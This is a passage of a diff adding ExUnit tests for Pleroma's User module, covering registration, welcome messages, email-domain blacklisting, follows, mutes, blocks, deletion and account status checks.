guy", + name: "my name", + nickname: "nick", + password: "test", + password_confirmation: "test", + email: "email@example.com" + } + + setup do: clear_config([:instance, :autofollowed_nicknames]) + setup do: clear_config([:welcome]) + setup do: clear_config([:instance, :account_activation_required]) + + test "it autofollows accounts that are set for it" do + user = insert(:user) + remote_user = insert(:user, %{local: false}) + + Pleroma.Config.put([:instance, :autofollowed_nicknames], [ + user.nickname, + remote_user.nickname + ]) + + cng = User.register_changeset(%User{}, @full_user_data) + + {:ok, registered_user} = User.register(cng) + + assert User.following?(registered_user, user) + refute User.following?(registered_user, remote_user) + end + + test "it sends a welcome message if it is set" do + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :direct_message, :enabled], true) + Pleroma.Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :direct_message, :message], "Hello, this is a direct message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "direct message" + assert activity.actor == welcome_user.ap_id + end + + test "it sends a welcome chat message if it is set" do + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :chat_message, :enabled], true) + Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "chat message" + assert activity.actor == welcome_user.ap_id + end + + setup do: + clear_config(:mrf_simple, + media_removal: [], + media_nsfw: [], + federated_timeline_removal: [], + report_removal: [], + reject: [], + followers_only: [], + accept: [], + avatar_removal: [], + banner_removal: [], + reject_deletes: [] + ) + + setup do: + clear_config(:mrf, + policies: [ + Pleroma.Web.ActivityPub.MRF.SimplePolicy + ] + ) + + test "it sends a welcome chat message when Simple policy applied to local instance" do + Pleroma.Config.put([:mrf_simple, :media_nsfw], ["localhost"]) + + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :chat_message, :enabled], true) + Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "chat message" + assert activity.actor == welcome_user.ap_id + end + + test "it sends a welcome email message if it is set" do + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :email, :enabled], true) + Pleroma.Config.put([:welcome, :email, :sender], welcome_user.email) + + Pleroma.Config.put( + [:welcome, :email, :subject], + "Hello, welcome to cool site: <%= instance_name %>" + ) + + instance_name = Pleroma.Config.get([:instance, :name]) + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + assert_email_sent( + from: {instance_name, welcome_user.email}, + to: {registered_user.name, registered_user.email}, + subject: "Hello, welcome to cool site: #{instance_name}", + html_body: "Welcome to #{instance_name}" + ) + end + + test "it sends a confirm email" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + Pleroma.Emails.UserEmail.account_confirmation_email(registered_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() + end + + test "it requires an email, name, nickname and password, bio is optional when account_activation_required is enabled" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + @full_user_data + |> Map.keys() + |> Enum.each(fn key -> + params = Map.delete(@full_user_data, key) + changeset = User.register_changeset(%User{}, params) + + assert if key == :bio, do: changeset.valid?, else: not changeset.valid? + end) + end + + test "it requires an name, nickname and password, bio and email are optional when account_activation_required is disabled" do + Pleroma.Config.put([:instance, :account_activation_required], false) + + @full_user_data + |> Map.keys() + |> Enum.each(fn key -> + params = Map.delete(@full_user_data, key) + changeset = User.register_changeset(%User{}, params) + + assert if key in [:bio, :email], do: changeset.valid?, else: not changeset.valid? + end) + end + + test "it restricts certain nicknames" do + [restricted_name | _] = Pleroma.Config.get([User, :restricted_nicknames]) + + assert is_bitstring(restricted_name) + + params = + @full_user_data + |> Map.put(:nickname, restricted_name) + + changeset = User.register_changeset(%User{}, params) + + refute changeset.valid? + end + + test "it blocks blacklisted email domains" do + clear_config([User, :email_blacklist], ["trolling.world"]) + + # Block with match + params = Map.put(@full_user_data, :email, "troll@trolling.world") + changeset = User.register_changeset(%User{}, params) + refute changeset.valid? + + # Block with subdomain match + params = Map.put(@full_user_data, :email, "troll@gnomes.trolling.world") + changeset = User.register_changeset(%User{}, params) + refute changeset.valid? + + # Pass with different domains that are similar + params = Map.put(@full_user_data, :email, "troll@gnomestrolling.world") + changeset = User.register_changeset(%User{}, params) + assert changeset.valid? + + params = Map.put(@full_user_data, :email, "troll@trolling.world.us") + changeset = User.register_changeset(%User{}, params) + assert changeset.valid? + end + + test "it sets the password_hash and ap_id" do + changeset = User.register_changeset(%User{}, @full_user_data) + + assert changeset.valid? + + assert is_binary(changeset.changes[:password_hash]) + assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname}) + + assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers" + end + + test "it sets the 'accepts_chat_messages' set to true" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + assert user.accepts_chat_messages + end + + test "it creates a confirmed user" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + refute user.confirmation_pending + end + end + + describe "user registration, with :account_activation_required" do + @full_user_data %{ + bio: "A guy", + name: "my name", + nickname: "nick", + password: "test", + password_confirmation: "test", + email: "email@example.com" + } + setup do: clear_config([:instance, :account_activation_required], true) + + test "it creates unconfirmed user" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + assert user.confirmation_pending + assert user.confirmation_token + end + + test "it creates confirmed user if :confirmed option is given" do + changeset = User.register_changeset(%User{}, @full_user_data, need_confirmation: false) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + refute user.confirmation_pending + refute user.confirmation_token + end + end + + describe "user registration, with :account_approval_required" do + @full_user_data %{ + bio: "A guy", + name: "my name", + nickname: "nick", + password: "test", + password_confirmation: "test", + email: "email@example.com", + registration_reason: "I'm a cool guy :)" + } + setup do: clear_config([:instance, :account_approval_required], true) + + test "it creates unapproved user" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + assert user.approval_pending + assert user.registration_reason == "I'm a cool guy :)" + end + + test "it restricts length of registration reason" do + reason_limit = Pleroma.Config.get([:instance, :registration_reason_length]) + + assert is_integer(reason_limit) + + params = + @full_user_data + |> Map.put( + :registration_reason, + "Quia et nesciunt dolores numquam ipsam nisi sapiente soluta. Ullam repudiandae nisi quam porro officiis officiis ad. Consequatur animi velit ex quia. Odit voluptatem perferendis quia ut nisi. Dignissimos sit soluta atque aliquid dolorem ut dolorum ut. Labore voluptates iste iusto amet voluptatum earum. Ad fugit illum nam eos ut nemo. Pariatur ea fuga non aspernatur. Dignissimos debitis officia corporis est nisi ab et. Atque itaque alias eius voluptas minus. Accusamus numquam tempore occaecati in." + ) + + changeset = User.register_changeset(%User{}, params) + + refute changeset.valid? + end + end + + describe "get_or_fetch/1" do + test "gets an existing user by nickname" do + user = insert(:user) + {:ok, fetched_user} = User.get_or_fetch(user.nickname) + + assert user == fetched_user + end + + test "gets an existing user by ap_id" do + ap_id = "http://mastodon.example.org/users/admin" + + user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: ap_id + ) + + {:ok, fetched_user} = User.get_or_fetch(ap_id) + freshed_user = refresh_record(user) + assert freshed_user == fetched_user + end + end + + describe "fetching a user from nickname or trying to build one" do + test "gets an existing user" do + user = insert(:user) + {:ok, fetched_user} = User.get_or_fetch_by_nickname(user.nickname) + + assert user == fetched_user + end + + test "gets an existing user, case insensitive" do + user = insert(:user, nickname: "nick") + {:ok, fetched_user} = User.get_or_fetch_by_nickname("NICK") + + assert user == fetched_user + end + + test "gets an existing user by fully qualified nickname" do + user = insert(:user) + + {:ok, fetched_user} = + User.get_or_fetch_by_nickname(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) + + assert user == fetched_user + end + + test "gets an existing user by fully qualified nickname, case insensitive" do + user = insert(:user, nickname: "nick") + casing_altered_fqn = String.upcase(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) + + {:ok, fetched_user} = User.get_or_fetch_by_nickname(casing_altered_fqn) + + assert user == fetched_user + end + + @tag capture_log: true + test "returns nil if no user could be fetched" do + {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la") + assert fetched_user == "not found nonexistant@social.heldscal.la" + end + + test "returns nil for nonexistant local user" do + {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant") + assert fetched_user == "not found nonexistant" + end + + test "updates an existing user, if stale" do + a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) + + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/admin", + last_refreshed_at: a_week_ago + ) + + assert orig_user.last_refreshed_at == a_week_ago + + {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") + + assert user.inbox + + refute user.last_refreshed_at == orig_user.last_refreshed_at + end + + test "if nicknames clash, the old user gets a prefix with the old id to the nickname" do + a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) + + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/harinezumigari", + last_refreshed_at: a_week_ago + ) + + assert orig_user.last_refreshed_at == a_week_ago + + {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") + + assert user.inbox + + refute user.id == orig_user.id + + orig_user = User.get_by_id(orig_user.id) + + assert orig_user.nickname == "#{orig_user.id}.admin@mastodon.example.org" + end + + @tag capture_log: true + test "it returns the old user if stale, but unfetchable" do + a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) + + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/raymoo", + last_refreshed_at: a_week_ago + ) + + assert orig_user.last_refreshed_at == a_week_ago + + {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/raymoo") + + assert user.last_refreshed_at == orig_user.last_refreshed_at + end + end + + test "returns an ap_id for a user" do + user = insert(:user) + + assert User.ap_id(user) == + Pleroma.Web.Router.Helpers.user_feed_url( + Pleroma.Web.Endpoint, + :feed_redirect, + user.nickname + ) + end + + test "returns an ap_followers link for a user" do + user = insert(:user) + + assert User.ap_followers(user) == + Pleroma.Web.Router.Helpers.user_feed_url( + Pleroma.Web.Endpoint, + :feed_redirect, + user.nickname + ) <> "/followers" + end + + describe "remote user changeset" do + @valid_remote %{ + bio: "hello", + name: "Someone", + nickname: "a@b.de", + ap_id: "http...", + avatar: %{some: "avatar"} + } + setup do: clear_config([:instance, :user_bio_length]) + setup do: clear_config([:instance, :user_name_length]) + + test "it confirms validity" do + cs = User.remote_user_changeset(@valid_remote) + assert cs.valid? + end + + test "it sets the follower_adress" do + cs = User.remote_user_changeset(@valid_remote) + # remote users get a fake local follower address + assert cs.changes.follower_address == + User.ap_followers(%User{nickname: @valid_remote[:nickname]}) + end + + test "it enforces the fqn format for nicknames" do + cs = User.remote_user_changeset(%{@valid_remote | nickname: "bla"}) + assert Ecto.Changeset.get_field(cs, :local) == false + assert cs.changes.avatar + refute cs.valid? + end + + test "it has required fields" do + [:ap_id] + |> Enum.each(fn field -> + cs = User.remote_user_changeset(Map.delete(@valid_remote, field)) + refute cs.valid? + end) + end + end + + describe "followers and friends" do + test "gets all followers for a given user" do + user = insert(:user) + follower_one = insert(:user) + follower_two = insert(:user) + not_follower = insert(:user) + + {:ok, follower_one} = User.follow(follower_one, user) + {:ok, follower_two} = User.follow(follower_two, user) + + res = User.get_followers(user) + + assert Enum.member?(res, follower_one) + assert Enum.member?(res, follower_two) + refute Enum.member?(res, not_follower) + end + + test "gets all friends (followed users) for a given user" do + user = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + not_followed = insert(:user) + + {:ok, user} = User.follow(user, followed_one) + {:ok, user} = User.follow(user, followed_two) + + res = User.get_friends(user) + + followed_one = User.get_cached_by_ap_id(followed_one.ap_id) + followed_two = User.get_cached_by_ap_id(followed_two.ap_id) + assert Enum.member?(res, followed_one) + assert Enum.member?(res, followed_two) + refute Enum.member?(res, not_followed) + end + end + + describe "updating note and follower count" do + test "it sets the note_count property" do + note = insert(:note) + + user = User.get_cached_by_ap_id(note.data["actor"]) + + assert user.note_count == 0 + + {:ok, user} = User.update_note_count(user) + + assert user.note_count == 1 + end + + test "it increases the note_count property" do + note = insert(:note) + user = User.get_cached_by_ap_id(note.data["actor"]) + + assert user.note_count == 0 + + {:ok, user} = User.increase_note_count(user) + + assert user.note_count == 1 + + {:ok, user} = User.increase_note_count(user) + + assert user.note_count == 2 + end + + test "it decreases the note_count property" do + note = insert(:note) + user = User.get_cached_by_ap_id(note.data["actor"]) + + assert user.note_count == 0 + + {:ok, user} = User.increase_note_count(user) + + assert user.note_count == 1 + + {:ok, user} = User.decrease_note_count(user) + + assert user.note_count == 0 + + {:ok, user} = User.decrease_note_count(user) + + assert user.note_count == 0 + end + + test "it sets the follower_count property" do + user = insert(:user) + follower = insert(:user) + + User.follow(follower, user) + + assert user.follower_count == 0 + + {:ok, user} = User.update_follower_count(user) + + assert user.follower_count == 1 + end + end + + describe "mutes" do + test "it mutes people" do + user = insert(:user) + muted_user = insert(:user) + + refute User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + + {:ok, _user_relationships} = User.mute(user, muted_user) + + assert User.mutes?(user, muted_user) + assert User.muted_notifications?(user, muted_user) + end + + test "it unmutes users" do + user = insert(:user) + muted_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, muted_user) + {:ok, _user_mute} = User.unmute(user, muted_user) + + refute User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + end + + test "it mutes user without notifications" do + user = insert(:user) + muted_user = insert(:user) + + refute User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + + {:ok, _user_relationships} = User.mute(user, muted_user, false) + + assert User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + end + end + + describe "blocks" do + test "it blocks people" do + user = insert(:user) + blocked_user = insert(:user) + + refute User.blocks?(user, blocked_user) + + {:ok, _user_relationship} = User.block(user, blocked_user) + + assert User.blocks?(user, blocked_user) + end + + test "it unblocks users" do + user = insert(:user) + blocked_user = insert(:user) + + {:ok, _user_relationship} = User.block(user, blocked_user) + {:ok, _user_block} = User.unblock(user, blocked_user) + + refute User.blocks?(user, blocked_user) + end + + test "blocks tear down cyclical follow relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, blocker} = User.follow(blocker, blocked) + {:ok, blocked} = User.follow(blocked, blocker) + + assert User.following?(blocker, blocked) + assert User.following?(blocked, blocker) + + {:ok, _user_relationship} = User.block(blocker, blocked) + blocked = User.get_cached_by_id(blocked.id) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end + + test "blocks tear down blocker->blocked follow relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, blocker} = User.follow(blocker, blocked) + + assert User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + + {:ok, _user_relationship} = User.block(blocker, blocked) + blocked = User.get_cached_by_id(blocked.id) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end + + test "blocks tear down blocked->blocker follow relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, blocked} = User.follow(blocked, blocker) + + refute User.following?(blocker, blocked) + assert User.following?(blocked, blocker) + + {:ok, _user_relationship} = User.block(blocker, blocked) + blocked = User.get_cached_by_id(blocked.id) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end + + test "blocks tear down blocked->blocker subscription relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, _subscription} = User.subscribe(blocked, blocker) + + assert User.subscribed_to?(blocked, blocker) + refute User.subscribed_to?(blocker, blocked) + + {:ok, _user_relationship} = User.block(blocker, blocked) + + assert User.blocks?(blocker, blocked) + refute User.subscribed_to?(blocker, blocked) + refute User.subscribed_to?(blocked, blocker) + end + end + + describe "domain blocking" do + test "blocks domains" do + user = insert(:user) + collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") + + assert User.blocks?(user, collateral_user) + end + + test "does not block domain with same end" do + user = insert(:user) + + collateral_user = + insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") + + refute User.blocks?(user, collateral_user) + end + + test "does not block domain with same end if wildcard added" do + user = insert(:user) + + collateral_user = + insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") + + refute User.blocks?(user, collateral_user) + end + + test "blocks domain with wildcard for subdomain" do + user = insert(:user) + + user_from_subdomain = + insert(:user, %{ap_id: "https://subdomain.awful-and-rude-instance.com/user/bully"}) + + user_with_two_subdomains = + insert(:user, %{ + ap_id: "https://subdomain.second_subdomain.awful-and-rude-instance.com/user/bully" + }) + + user_domain = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") + + assert User.blocks?(user, user_from_subdomain) + assert User.blocks?(user, user_with_two_subdomains) + assert User.blocks?(user, user_domain) + end + + test "unblocks domains" do + user = insert(:user) + collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") + {:ok, user} = User.unblock_domain(user, "awful-and-rude-instance.com") + + refute User.blocks?(user, collateral_user) + end + + test "follows take precedence over domain blocks" do + user = insert(:user) + good_eggo = insert(:user, %{ap_id: "https://meanies.social/user/cuteposter"}) + + {:ok, user} = User.block_domain(user, "meanies.social") + {:ok, user} = User.follow(user, good_eggo) + + refute User.blocks?(user, good_eggo) + end + end + + describe "get_recipients_from_activity" do + test "works for announces" do + actor = insert(:user) + user = insert(:user, local: true) + + {:ok, activity} = CommonAPI.post(actor, %{status: "hello"}) + {:ok, announce} = CommonAPI.repeat(activity.id, user) + + recipients = User.get_recipients_from_activity(announce) + + assert user in recipients + end + + test "get recipients" do + actor = insert(:user) + user = insert(:user, local: true) + user_two = insert(:user, local: false) + addressed = insert(:user, local: true) + addressed_remote = insert(:user, local: false) + + {:ok, activity} = + CommonAPI.post(actor, %{ + status: "hey @#{addressed.nickname} @#{addressed_remote.nickname}" + }) + + assert Enum.map([actor, addressed], & &1.ap_id) -- + Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] + + {:ok, user} = User.follow(user, actor) + {:ok, _user_two} = User.follow(user_two, actor) + recipients = User.get_recipients_from_activity(activity) + assert length(recipients) == 3 + assert user in recipients + assert addressed in recipients + end + + test "has following" do + actor = insert(:user) + user = insert(:user) + user_two = insert(:user) + addressed = insert(:user, local: true) + + {:ok, activity} = + CommonAPI.post(actor, %{ + status: "hey @#{addressed.nickname}" + }) + + assert Enum.map([actor, addressed], & &1.ap_id) -- + Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] + + {:ok, _actor} = User.follow(actor, user) + {:ok, _actor} = User.follow(actor, user_two) + recipients = User.get_recipients_from_activity(activity) + assert length(recipients) == 2 + assert addressed in recipients + end + end + + describe ".deactivate" do + test "can de-activate then re-activate a user" do + user = insert(:user) + assert false == user.deactivated + {:ok, user} = User.deactivate(user) + assert true == user.deactivated + {:ok, user} = User.deactivate(user, false) + assert false == user.deactivated + end + + test "hide a user from followers" do + user = insert(:user) + user2 = insert(:user) + + {:ok, user} = User.follow(user, user2) + {:ok, _user} = User.deactivate(user) + + user2 = User.get_cached_by_id(user2.id) + + assert user2.follower_count == 0 + assert [] = User.get_followers(user2) + end + + test "hide a user from friends" do + user = insert(:user) + user2 = insert(:user) + + {:ok, user2} = User.follow(user2, user) + assert user2.following_count == 1 + assert User.following_count(user2) == 1 + + {:ok, _user} = User.deactivate(user) + + user2 = User.get_cached_by_id(user2.id) + + assert refresh_record(user2).following_count == 0 + assert user2.following_count == 0 + assert User.following_count(user2) == 0 + assert [] = User.get_friends(user2) + end + + test "hide a user's statuses from timelines and notifications" do + user = insert(:user) + user2 = insert(:user) + + {:ok, user2} = User.follow(user2, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{user2.nickname}"}) + + activity = Repo.preload(activity, :bookmark) + + [notification] = Pleroma.Notification.for_user(user2) + assert notification.activity.id == activity.id + + assert [activity] == ActivityPub.fetch_public_activities(%{}) |> Repo.preload(:bookmark) + + assert [%{activity | thread_muted?: CommonAPI.thread_muted?(user2, activity)}] == + ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ + user: user2 + }) + + {:ok, _user} = User.deactivate(user) + + assert [] == ActivityPub.fetch_public_activities(%{}) + assert [] == Pleroma.Notification.for_user(user2) + + assert [] == + ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ + user: user2 + }) + end + end + + describe "approve" do + test "approves a user" do + user = insert(:user, approval_pending: true) + assert true == user.approval_pending + {:ok, user} = User.approve(user) + assert false == user.approval_pending + end + + test "approves a list of users" do + unapproved_users = [ + insert(:user, approval_pending: true), + insert(:user, approval_pending: true), + insert(:user, approval_pending: true) + ] + + {:ok, users} = User.approve(unapproved_users) + + assert Enum.count(users) == 3 + + Enum.each(users, fn user -> + assert false == user.approval_pending + end) + end + end + + describe "delete" do + setup do + {:ok, user} = insert(:user) |> User.set_cache() + + [user: user] + end + + setup do: clear_config([:instance, :federating]) + + test ".delete_user_activities deletes all create activities", %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "2hu"}) + + User.delete_user_activities(user) + + # TODO: Test removal favorites, repeats, delete activities. + refute Activity.get_by_id(activity.id) + end + + test "it deactivates a user, all follow relationships and all activities", %{user: user} do + follower = insert(:user) + {:ok, follower} = User.follow(follower, user) + + locked_user = insert(:user, name: "locked", locked: true) + {:ok, _} = User.follow(user, locked_user, :follow_pending) + + object = insert(:note, user: user) + activity = insert(:note_activity, user: user, note: object) + + object_two = insert(:note, user: follower) + activity_two = insert(:note_activity, user: follower, note: object_two) + + {:ok, like} = CommonAPI.favorite(user, activity_two.id) + {:ok, like_two} = CommonAPI.favorite(follower, activity.id) + {:ok, repeat} = CommonAPI.repeat(activity_two.id, user) + + {:ok, job} = User.delete(user) + {:ok, _user} = ObanHelpers.perform(job) + + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, user) + assert %{deactivated: true} = User.get_by_id(user.id) + + assert [] == User.get_follow_requests(locked_user) + + user_activities = + user.ap_id + |> Activity.Queries.by_actor() + |> Repo.all() + |> Enum.map(fn act -> act.data["type"] end) + + assert Enum.all?(user_activities, fn act -> act in ~w(Delete Undo) end) + + refute Activity.get_by_id(activity.id) + refute Activity.get_by_id(like.id) + refute Activity.get_by_id(like_two.id) + refute Activity.get_by_id(repeat.id) + end + end + + describe "delete/1 when confirmation is pending" do + setup do + user = insert(:user, confirmation_pending: true) + {:ok, user: user} + end + + test "deletes user from database when activation required", %{user: user} do + clear_config([:instance, :account_activation_required], true) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + refute User.get_cached_by_id(user.id) + refute User.get_by_id(user.id) + end + + test "deactivates user when activation is not required", %{user: user} do + clear_config([:instance, :account_activation_required], false) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + assert %{deactivated: true} = User.get_cached_by_id(user.id) + assert %{deactivated: true} = User.get_by_id(user.id) + end + end + + test "delete/1 when approval is pending deletes the user" do + user = insert(:user, approval_pending: true) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + refute User.get_cached_by_id(user.id) + refute User.get_by_id(user.id) + end + + test "delete/1 purges a user when they wouldn't be fully deleted" do + user = + insert(:user, %{ + bio: "eyy lmao", + name: "qqqqqqq", + password_hash: "pdfk2$1b3n159001", + keys: "RSA begin buplic key", + public_key: "--PRIVATE KEYE--", + avatar: %{"a" => "b"}, + tags: ["qqqqq"], + banner: %{"a" => "b"}, + background: %{"a" => "b"}, + note_count: 9, + follower_count: 9, + following_count: 9001, + locked: true, + confirmation_pending: true, + password_reset_pending: true, + approval_pending: true, + registration_reason: "ahhhhh", + confirmation_token: "qqqq", + domain_blocks: ["lain.com"], + deactivated: true, + ap_enabled: true, + is_moderator: true, + is_admin: true, + mastofe_settings: %{"a" => "b"}, + mascot: %{"a" => "b"}, + emoji: %{"a" => "b"}, + pleroma_settings_store: %{"q" => "x"}, + fields: [%{"gg" => "qq"}], + raw_fields: [%{"gg" => "qq"}], + discoverable: true, + also_known_as: ["https://lol.olo/users/loll"] + }) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + user = User.get_by_id(user.id) + + assert %User{ + bio: "", + raw_bio: nil, + email: nil, + name: nil, + password_hash: nil, + keys: nil, + public_key: nil, + avatar: %{}, + tags: [], + last_refreshed_at: nil, + last_digest_emailed_at: nil, + banner: %{}, + background: %{}, + note_count: 0, + follower_count: 0, + following_count: 0, + locked: false, + confirmation_pending: false, + password_reset_pending: false, + approval_pending: false, + registration_reason: nil, + confirmation_token: nil, + domain_blocks: [], + deactivated: true, + ap_enabled: false, + is_moderator: false, + is_admin: false, + mastofe_settings: nil, + mascot: nil, + emoji: %{}, + pleroma_settings_store: %{}, + fields: [], + raw_fields: [], + discoverable: false, + also_known_as: [] + } = user + end + + test "get_public_key_for_ap_id fetches a user that's not in the db" do + assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin") + end + + describe "per-user rich-text filtering" do + test "html_filter_policy returns default policies, when rich-text is enabled" do + user = insert(:user) + + assert Pleroma.Config.get([:markup, :scrub_policy]) == User.html_filter_policy(user) + end + + test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do + user = insert(:user, no_rich_text: true) + + assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user) + end + end + + describe "caching" do + test "invalidate_cache works" do + user = insert(:user) + + User.set_cache(user) + User.invalidate_cache(user) + + {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + {:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}") + end + + test "User.delete() plugs any possible zombie objects" do + user = insert(:user) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + {:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + + assert cached_user != user + + {:ok, cached_user} = Cachex.get(:user_cache, "nickname:#{user.ap_id}") + + assert cached_user != user + end + end + + describe "account_status/1" do + setup do: clear_config([:instance, :account_activation_required]) + + test "return confirmation_pending for unconfirm user" do + Pleroma.Config.put([:instance, :account_activation_required], true) + user = insert(:user, confirmation_pending: true) + assert User.account_status(user) == :confirmation_pending + end + + test "return active for confirmed user" do + Pleroma.Config.put([:instance, :account_activation_required], true) + user = insert(:user, confirmation_pending: false) + assert User.account_status(user) == :active + end + + test "return active for remote user" do + user = insert(:user, local: false) + assert User.account_status(user) == :active + end + + test "returns :password_reset_pending for user with reset password" do + user = insert(:user, password_reset_pending: true) + assert User.account_status(user) == :password_reset_pending + end + + test "returns :deactivated for deactivated user" do + user = insert(:user, local: true, confirmation_pending: false, deactivated: true) + assert User.account_status(user) == :deactivated + end + + test "returns :approval_pending for unapproved user" do + user = insert(:user, local: true, approval_pending: true) + assert User.account_status(user) == :approval_pending + + user = insert(:user, local: true, confirmation_pending: true, approval_pending: true) + assert User.account_status(user) == :approval_pending + end + end + + describe "superuser?/1" do + test "returns false for unprivileged users" do + user = insert(:user, local: true) + + refute User.superuser?(user) + end + + test "returns false for remote users" do + user = insert(:user, local: false) + remote_admin_user = insert(:user, local: false, is_admin: true) + + refute User.superuser?(user) + refute User.superuser?(remote_admin_user) + end + + test "returns true for local moderators" do + user = insert(:user, local: true, is_moderator: true) + + assert User.superuser?(user) + end + + test "returns true for local admins" do + user = insert(:user, local: true, is_admin: true) + + assert User.superuser?(user) + end + end + + describe "invisible?/1" do + test "returns true for an invisible user" do + user = insert(:user, local: true, invisible: true) + + assert User.invisible?(user) + end + + test "returns false for a non-invisible user" do + user = insert(:user, local: true) + + refute User.invisible?(user) + end + end + + describe "visible_for/2" do + test "returns true when the account is itself" do + user = insert(:user, local: true) + + assert User.visible_for(user, user) == :visible + end + + test "returns false when the account is unconfirmed and confirmation is required" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: true, confirmation_pending: 